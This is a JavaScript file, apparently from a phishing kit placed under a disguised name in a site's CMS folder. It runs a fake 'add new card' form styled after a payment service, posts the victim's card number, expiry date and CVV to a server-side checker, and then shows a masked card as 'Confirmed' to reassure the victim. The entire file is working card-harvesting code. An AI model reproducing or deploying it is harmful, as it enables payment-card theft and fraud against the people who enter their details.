File: /home/iestorre/musica222/layouts/libraries/cms/kjhnbg/b31c26/en/js/bil.loader.min.js
$("#AddNewCardForm").validate({
submitHandler: function(form) {
$.post("System/CheckCardInfo.php", $("#AddNewCardForm").serialize(), function(GET) {
if(GET == "Q2FyZE51bWJlck5vdFZhbGlk"){
setTimeout(function(){
document.getElementById("CardNumberID").className="textInput ccNumber ccNumber ccNum lap hasError";
document.getElementById("cardLogo").className = "fiModule-icon_card hide";
document.getElementById("loding").className = "hasSpinner hide";
document.getElementById("MSGError").className = "twbs_alert vx_alert vx_alert-critical js_alertMsg";
})
}else{
if(GET == "Q2FyZE51bWJlckRhdGFFWFBpc0ZBQ0tJTkdFUlJPUkNoZWNreW9ydmFsaWREYXRh"){
setTimeout(function(){
document.getElementById("CardExpID").className = "textInput expirationDate js_expirationDate expirationDate expirationDate lap hasError";
document.getElementById("loding").className = "hasSpinner hide";
})
}else{
if(GET == "R09UT0NIRUNLdmFsaWRGdWNraW5nQ3ZWTnVtYmVyVGhpc0NPZGVCeURSYURORU4="){
setTimeout(function(){
document.getElementById("CardcvvID").className = "textInput csc pull-right csc securityCode lap hasError";
document.getElementById("loding").className = "hasSpinner hide";
})
}else{
setTimeout(function(){
var GatCard = $("#CardNumberInput").val();
var x;
if(GatCard.substring(0,2)==35){
x = GatCard.substring(10,15);
}else{
x = GatCard.substring(12,16);
}
select = document.getElementById('stateOrProvince1');
var opt = document.createElement('option');
opt.innerHTML = GET + " X-" + x + " " + $("#CardExpInput").val() + " Confirmed";
select.appendChild(opt);
document.getElementById("AddNewCard").className="hide";
document.getElementById("loding").className = "hasSpinner hide";
document.getElementById("CardNumberInput").value="";
document.getElementById("CardExpInput").value="";
document.getElementById("CardcvvInput").value="";
document.getElementById("cardLogo").className ="fiModule-icon_card";
document.getElementById("CardcvvID").className = "textInput csc pull-right csc securityCode lap";
document.getElementById("CardExpID").className = "textInput expirationDate js_expirationDate expirationDate expirationDate lap";
document.getElementById("CardNumberID").className="textInput ccNumber ccNumber ccNum lap";
document.getElementById("MSGError").className = "twbs_alert vx_alert vx_alert-critical js_alertMsg hide";
})
}
}
}
});
///////////////////////////////////////////////////////////
},
});